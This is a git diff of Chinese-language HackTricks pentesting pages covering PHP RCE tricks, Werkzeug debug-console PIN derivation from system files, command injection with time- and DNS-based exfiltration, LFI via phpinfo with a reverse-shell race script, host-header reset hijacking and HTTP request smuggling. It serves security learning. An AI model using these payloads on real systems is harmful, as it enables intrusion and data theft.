您可以使用 **web**[ **www.unphp.net**](http://www.unphp.net) **来混淆 php 代码。**
您可以使用 **web**[ **www.unphp.net**](http://www.unphp.net) **来混淆 php 代码。**
## PHP 包装器和协议
@ -355,7 +355,7 @@ PHP 包装器和协议可能允许您 **绕过系统中的读写保护** 并危
## Xdebug 未经身份验证的 RCE
如果您在 `phpconfig()` 输出中看到 **Xdebug****启用**,您应该尝试通过 [https://github.com/nqxcode/xdebug-exploit](https://github.com/nqxcode/xdebug-exploit) 获取 RCE
如果您在 `phpconfig()` 输出中看到 **Xdebug****启用**,您应该尝试通过 [https://github.com/nqxcode/xdebug-exploit](https://github.com/nqxcode/xdebug-exploit) 获取 RCE
## 变量变量
```php
@ -369,7 +369,7 @@ echo "${Da}"; //Drums
echo "$x ${$x}"; //Da Drums
echo "$x ${Da}"; //Da Drums
```
## RCE 利用新的 $\_GET\["a"]\($\_GET\["b")
## RCE 利用新的 $\_GET\["a"]\($\_GET\["b"])
如果在一个页面中你可以 **创建一个任意类的新对象**,你可能能够获得 RCE查看以下页面以了解如何
@ -401,7 +401,7 @@ ${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);
$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);
```
所以,如果你可以 **在没有数字和字母的情况下执行任意 PHP**,你可以发送如下请求,利用该有效载执行任意 PHP
所以,如果你可以**在没有数字和字母的情况下执行任意 PHP**,你可以发送如下请求,利用该有效载执行任意 PHP
```
POST: /action.php?_=system&__=cat+flag.php
Content-Type: application/x-www-form-urlencoded
@ -470,7 +470,7 @@ $___($_[_]); // ASSERT($_POST[_]);
```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### 从黑客的角度看待您的网络应用、网络和云
**从黑客的角度看待您的网络应用、网络和云**
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们20多个自定义工具来映射攻击面发现让您提升权限的安全问题并使用自动化利用收集重要证据将您的辛勤工作转化为有说服力的报告。
@ -485,8 +485,8 @@ $___($_[_]); // ASSERT($_POST[_]);
<summary>支持HackTricks</summary>
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注我们。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享黑客技巧。
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub库提交PR来分享黑客技巧。
</details>
{% endhint %}

View file

@ -1,8 +1,8 @@
# Werkzeug / Flask Debug
{% hint style="success" %}
学习实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
学习实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -17,9 +17,9 @@
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### 从黑客的角度看待您的网络应用、网络和云
**从黑客的角度审视您的网络应用、网络和云**
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,查找允许您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,发现让您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -33,13 +33,13 @@ __import__('os').popen('whoami').read();
互联网上还有几个漏洞,比如[这个](https://github.com/its-arun/Werkzeug-Debug-RCE)或metasploit中的一个。
## Pin 保护 - 路径遍历
## PIN保护 - 路径遍历
在某些情况下,**`/console`** 端点将受到 pin 的保护。如果你有 **文件遍历漏洞**,你可以泄露生成该 pin 所需的所有信息。
在某些情况下,**`/console`** 端点将受到PIN保护。如果您有**文件遍历漏洞**您可以泄露生成该PIN所需的所有信息。
### Werkzeug控制台PIN漏洞
在应用中强制出现调试错误页面以查看此内容:
在应用程序中强制显示调试错误页面以查看此内容:
```
The console is locked and needs to be unlocked by entering the PIN.
You can find the PIN printed out on the standard output of your
@ -51,15 +51,15 @@ shell that runs the server
#### **`probably_public_bits`**
* **`username`**指发起 Flask 会话的用户。
* **`modname`**通常指定为 `flask.app`
* **`getattr(app, '__name__', getattr(app.__class__, '__name__'))`**通常解析为 **Flask**
* **`getattr(mod, '__file__', None)`**表示 Flask 目录中 `app.py` 的完整路径(例如,`/usr/local/lib/python3.5/dist-packages/flask/app.py`)。如果 `app.py` 不适用,**尝试 `app.pyc`**。
* **`username`**: 指发起 Flask 会话的用户。
* **`modname`**: 通常指定为 `flask.app`
* **`getattr(app, '__name__', getattr(app.__class__, '__name__'))`**: 通常解析为 **Flask**
* **`getattr(mod, '__file__', None)`**: 表示 Flask 目录中 `app.py` 的完整路径(例如,`/usr/local/lib/python3.5/dist-packages/flask/app.py`)。如果 `app.py` 不适用,**尝试 `app.pyc`**。
#### **`private_bits`**
* **`uuid.getnode()`**获取当前机器的 MAC 地址,`str(uuid.getnode())` 将其转换为十进制格式。
* 要 **确定服务器的 MAC 地址**,必须识别应用使用的活动网络接口(例如,`ens3`)。如果不确定,**泄露 `/proc/net/arp`** 以找设备 ID然后 **从 `/sys/class/net/<device id>/address` 提取 MAC 地址**
* **`uuid.getnode()`**: 获取当前机器的 MAC 地址,`str(uuid.getnode())` 将其转换为十进制格式。
* 要 **确定服务器的 MAC 地址**,必须识别应用使用的活动网络接口(例如,`ens3`)。如果不确定,**泄露 `/proc/net/arp`** 以找设备 ID然后 **从 `/sys/class/net/<device id>/address`** 提取 MAC 地址。
* 可以按如下方式将十六进制 MAC 地址转换为十进制:
```python
@ -67,11 +67,11 @@ shell that runs the server
>>> print(0x5600027a23ac)
94558041547692
```
* **`get_machine_id()`**`/etc/machine-id``/proc/sys/kernel/random/boot_id` 中的数据与 `/proc/self/cgroup` 的第一行在最后一个斜杠(`/`)之后的部分连接起来。
* **`get_machine_id()`**: `/etc/machine-id``/proc/sys/kernel/random/boot_id` 中的数据与 `/proc/self/cgroup` 中最后一个斜杠 (`/`) 后的第一行连接起来。
<details>
<summary>`get_machine_id()` 的代码</summary>
<summary>代码 `get_machine_id()`</summary>
```python
def get_machine_id() -> t.Optional[t.Union[str, bytes]]:
global _machine_id
@ -167,7 +167,7 @@ print(rv)
## Werkzeug Unicode 字符
正如在 [**这个问题**](https://github.com/pallets/werkzeug/issues/2833) 中观察到的Werkzeug 不会关闭带有 Unicode 字符的请求头。正如在 [**这个写作**](https://mizu.re/post/twisty-python) 中解释的,这可能导致 CL.0 请求走私漏洞。
正如在 [**这个问题**](https://github.com/pallets/werkzeug/issues/2833) 中观察到的Werkzeug 不会关闭带有 Unicode 字符的请求头。正如在 [**这个写作**](https://mizu.re/post/twisty-python) 中解释的,这可能导致 CL.0 请求走私漏洞。
这是因为,在 Werkzeug 中可以发送一些 **Unicode** 字符,这会导致服务器 **崩溃**。然而,如果 HTTP 连接是通过 **`Connection: keep-alive`** 头创建的,请求的主体将不会被读取,连接仍将保持打开状态,因此请求的 **主体** 将被视为 **下一个 HTTP 请求**
@ -184,9 +184,9 @@ print(rv)
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### 从黑客的角度看待您的网络应用、网络和云
**获取黑客对您的网络应用、网络和云的看法**
**发现并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,找到让您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多种自定义工具来映射攻击面,发现让您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -199,7 +199,7 @@ print(rv)
<summary>支持 HackTricks</summary>
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
</details>

View file

@ -9,23 +9,23 @@
<summary>支持 HackTricks</summary>
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
</details>
{% endhint %}
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### 从黑客的角度看待您的网络应用、网络和云
**从黑客的角度看待您的网络应用、网络和云**
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,查找允许您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
**发现并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,找到让您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
### 主机头
几次后端信任 **Host header** 来执行某些操作。例如,它可能会使用其值作为 **发送密码重置的域**。因此,当您收到一封包含重置密码链接的电子邮件时,使用的域是您在 Host header 中输入的域。然后,您可以请求其他用户的密码重置,并将域更改为您控制的域,以窃取他们的密码重置代码。[WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2)。
几次后端信任 **Host header** 来执行某些操作。例如,它可能会使用其值作为 **发送密码重置的域**。因此,当您收到一封带有重置密码链接的电子邮件时,使用的域是您在 Host header 中输入的域。然后,您可以请求其他用户的密码重置,并将域更改为您控制的域,以窃取他们的密码重置代码。[WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2)。
{% hint style="warning" %}
请注意,您甚至可能不需要等待用户点击重置密码链接来获取令牌,因为可能连 **垃圾邮件过滤器或其他中介设备/机器人都会点击它进行分析**
@ -38,13 +38,13 @@
### 注册功能
尝试以已存在用户的身份注册。还可以尝试使用等效字符(点、多个空格和 Unicode
尝试以已存在用户的身份注册。尝试使用等效字符(点、多个空格和 Unicode
### 接管电子邮件
注册一个电子邮件,在确认之前更改电子邮件,然后,如果新的确认电子邮件发送到第一个注册的电子邮件,您可以接管任何电子邮件。或者如果您可以启用第二个电子邮件确认第一个电子邮件,您也可以接管任何户。
注册一个电子邮件,在确认之前更改电子邮件,然后,如果新的确认电子邮件发送到第一个注册的电子邮件,您可以接管任何电子邮件。或者如果您可以启用第二个电子邮件确认第一个电子邮件,您也可以接管任何户。
### 访问使用 Atlassian 的公司内部服务台
### 访问使用 Atlassian 的公司内部服务台
{% embed url="https://yourcompanyname.atlassian.net/servicedesk/customer/user/login" %}
@ -57,9 +57,9 @@
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### 从黑客的角度看待您的网络应用、网络和云
**从黑客的角度看待您的网络应用、网络和云**
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,查找允许您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
**发现并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,找到让您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -72,8 +72,8 @@
<summary>支持 HackTricks</summary>
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
</details>
{% endhint %}

View file

@ -17,9 +17,9 @@
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### 从黑客的角度看待您的网络应用、网络和云
**从黑客的角度审视您的网络应用、网络和云**
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,查找允许您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,发现让您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -29,7 +29,7 @@
### 上下文
根据 **您的输入被注入的位置**,您可能需要在命令之前 **终止引上下文**(使用 `"``'`)。
根据 **您的输入被注入的位置**,您可能需要在命令之前 **终止引上下文**(使用 `"``'`)。
## 命令注入/执行
```bash
@ -96,7 +96,7 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod
```
### 基于时间的数据外泄
逐字符提取数据:
逐字符提取数据
```
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real 0m5.007s
@ -108,7 +108,7 @@ real 0m0.002s
user 0m0.000s
sys 0m0.000s
```
### 基于DNS的数据外泄
### DNS 基于数据外泄
基于工具 `https://github.com/HoLyVieR/dnsbin`,也托管在 dnsbin.zhack.ca
```
@ -156,16 +156,16 @@ powershell C:**2\n??e*d.*? # notepad
<summary>支持 HackTricks</summary>
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。
</details>
{% endhint %}
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### 从黑客的角度看待您的网络应用、网络和云
**从黑客的角度看待您的网络应用、网络和云**
**发现并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,查找允许您提升权限的安全问题,并使用自动化漏洞收集重要证据,将您的辛勤工作转化为有说服力的报告。
**发现并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多种自定义工具来映射攻击面,查找让您提升权限的安全问题,并使用自动化漏洞收集重要证据,将您的辛勤工作转化为有说服力的报告。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

View file

@ -1,6 +1,6 @@
{% hint style="success" %}
学习实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
学习实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -8,14 +8,14 @@
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。
</details>
{% endhint %}
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### 从黑客的角度看待您的网络应用、网络和云
**从黑客的角度看待您的网络应用、网络和云**
**发现并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,查找让您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
@ -32,23 +32,23 @@
```
sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\&gt/g' phpinfolfi.py
```
您还需要更改漏洞利用的**payload**例如使用php-rev-shell**REQ1**这应该指向phpinfo页面且应该包含填充_REQ1="""POST /install.php?mode=phpinfo\&a="""+padding+""" HTTP/1.1_),以及**LFIREQ**这应该指向LFI漏洞_LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r --_ 在利用空字符时检查双“%”)
你还需要更改**payload**在利用的开始例如使用php-rev-shell**REQ1**这应该指向phpinfo页面并包含填充_REQ1="""POST /install.php?mode=phpinfo\&a="""+padding+""" HTTP/1.1_),以及**LFIREQ**这应该指向LFI漏洞_LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r --_ 在利用空字符时检查双“%”)
{% file src="../../.gitbook/assets/LFI-With-PHPInfo-Assistance.pdf" %}
### 理论
如果在PHP中允许上传文件并且您尝试上传文件,则这些文件会存储在临时目录中,直到服务器处理完请求,然后这些临时文件会被删除。
如果在PHP中允许上传文件并且你尝试上传一个文件,这个文件会存储在一个临时目录中,直到服务器处理完请求,然后这个临时文件会被删除。
然后,如果您在Web服务器中发现了LFI漏洞可以尝试猜测创建的临时文件的名称,并在文件被删除之前通过访问临时文件来利用RCE。
然后,如果你在web服务器中发现了LFI漏洞可以尝试猜测创建的临时文件的名称,并通过在文件被删除之前访问临时文件来利用RCE。
在**Windows**中,文件通常存储在**C:\Windows\temp\php**
在**linux**中,文件的名称通常是**随机的**,并位于**/tmp**。由于名称是随机的,因此需要**从某处提取临时文件的名称**并在文件被删除之前访问它。这可以通过读取函数“**phpconfig()**”内容中的**变量$\_FILES**的值来完成。
在**linux**中,文件的名称通常是**随机的**,并位于**/tmp**。由于名称是随机的,需要**从某处提取临时文件的名称**并在文件被删除之前访问它。这可以通过读取函数“**phpconfig()**”内容中的**变量$\_FILES**的值来完成。
**phpinfo()**
**PHP**使用**4096B**的缓冲区,当它**满**时,它会被**发送到客户端**。然后客户端可以**发送** **大量大请求**(使用大头部)**上传一个php**反向**shell**,等待**phpinfo()的第一部分返回**其中包含临时文件的名称并尝试在php服务器删除文件之前通过利用LFI漏洞**访问临时文件**。
**PHP**使用**4096B**的缓冲区,当它**满**时,它会被**发送到客户端**。然后客户端可以**发送****大量大请求**(使用大头部)**上传一个php**反向**shell**,等待**phpinfo()的第一部分返回**其中包含临时文件的名称并尝试在php服务器删除文件之前通过利用LFI漏洞**访问临时文件**。
**Python脚本尝试暴力破解名称如果长度=6**
```python
@ -74,22 +74,22 @@ print('[x] Something went wrong, please try again')
```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### 从黑客的角度看待您的网络应用、网络和云
**从黑客的角度看待您的网络应用、网络和云**
**发现并报告具有实际商业影响的关键可利用漏洞。** 使用我们20多个自定义工具来映射攻击面找到让您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们20多个自定义工具来映射攻击面发现让您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{% hint style="success" %}
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
学习和实践AWS黑客技术<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家ARTE**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习和实践GCP黑客技术<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家GRTE**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>支持HackTricks</summary>
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) [**电报群组**](https://t.me/peass) **在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注我们。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享黑客技巧。
</details>

View file

@ -17,7 +17,7 @@
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### 从黑客的角度看待您的网络应用、网络和云
**从黑客的角度看待您的网络应用、网络和云**
**发现并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,查找允许您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
@ -25,7 +25,7 @@
## 什么是
**前端代理****后端** 服务器之间发生 **不同步** 时,允许 **攻击者** 发送一个 HTTP **请求**,该请求将被 **前端** 代理(负载均衡/反向代理)解释为 **单个请求**,而被 **后端** 服务器解释为 **个请求**。\
**前端代理****后端** 服务器之间发生 **不同步** 时,允许 **攻击者** 发送一个 HTTP **请求**,该请求将被 **前端** 代理(负载均衡/反向代理)解释为 **单个请求**,而被 **后端** 服务器解释为 **2 个请求**。\
这使得用户能够 **修改到达后端服务器的下一个请求**
### 理论
@ -46,20 +46,20 @@
### 现实
**前端**(负载均衡/反向代理)**处理** _**content-length**__**transfer-encoding**_ 头,而 **后端** 服务器 **处理另一个**,导致两个系统之间的 **不同步**。\
这可能非常关键,因为 **攻击者将能够向反向代理发送一个请求**,该请求将被 **后端** 服务器 **解释为个不同的请求**。这种技术的 **危险** 在于 **后端** 服务器 **将解释** **注入的第个请求**,就好像它 **来自下一个客户端**,而该客户端的 **真实请求** 将是 **注入请求****一部分**
这可能非常关键,因为 **攻击者将能够向反向代理发送一个请求**,该请求将被 **后端** 服务器 **解释为 2 个不同的请求**。这种技术的 **危险** 在于 **后端** 服务器 **将解释** **注入的第 2 个请求**,就好像它 **来自下一个客户端**,而该客户端的 **真实请求** 将是 **注入请求****一部分**
### 特点
请记住,在 HTTP 中 **换行符由 2 个字节组成:**
* **Content-Length**:此头使用 **十进制数字** 指示请求 **主体****字节数**。主体预计在最后一个字符结束,**请求末尾不需要换行**。
* **Transfer-Encoding** 此头在 **主体** 中使用 **十六进制数字** 指示 **下一个块****字节数**。**块** 必须以 **换行** 结束,但此换行 **不计入** 长度指示符。此传输方法必须以 **大小为 0 的块后跟 2 个换行** 结束:`0`
* **Connection**:根据我的经验,建议在请求走私的第一个请求中使用 **`Connection: keep-alive`**。
* **Content-Length**:此头使用 **十进制数字** 指示请求 **主体****字节数**。主体预计在最后一个字符结束,**请求末尾不需要换行**。
* **Transfer-Encoding** 此头在 **主体** 中使用 **十六进制数字** 指示 **下一个块****字节数**。**块** 必须以 **换行** 结束,但此换行 **不计入** 长度指示符。此传输方法必须以 **大小为 0 的块后跟 2 个换行** 结束:`0`
* **Connection**:根据我的经验,建议在请求 Smuggling 的第一个请求中使用 **`Connection: keep-alive`**。
## 基本示例
{% hint style="success" %}
在尝试使用 Burp Suite 利用此漏洞时,**禁用 `Update Content-Length``Normalize HTTP/1 line endings`**,因为某些工具滥用换行符、回车和格式错误的内容长度。
在尝试使用 Burp Suite 利用此漏洞时,**禁用 `Update Content-Length``Normalize HTTP/1 line endings`**,因为某些工具滥用换行符、回车和格式错误的内容长度。
{% endhint %}
HTTP 请求走私攻击是通过发送模棱两可的请求来构造的,这些请求利用了前端和后端服务器在解释 `Content-Length` (CL) 和 `Transfer-Encoding` (TE) 头时的差异。这些攻击可以以不同形式表现,主要为 **CL.TE**、**TE.CL** 和 **TE.TE**。每种类型代表前端和后端服务器如何优先处理这些头的独特组合。漏洞源于服务器以不同方式处理相同请求,导致意外和潜在的恶意结果。
@ -125,11 +125,11 @@ x=
#### TE.TE 漏洞(两者都使用 Transfer-Encoding带混淆
* **服务器:** 两者都支持 `Transfer-Encoding`,但可以通过混淆被欺骗以忽略它。
* **服务器:** 两者都支持 `Transfer-Encoding`,但可以通过混淆来欺骗其中一个忽略它。
* **攻击场景:**
* 攻击者发送一个带有混淆 `Transfer-Encoding` 头的请求。
* 根据哪个服务器(前端或后端)未能识别混淆,可能会利用 CL.TE 或 TE.CL 漏洞。
* 请求中未处理的部分,作为其中一个服务器所见,成为后续请求的一部分,导致走私。
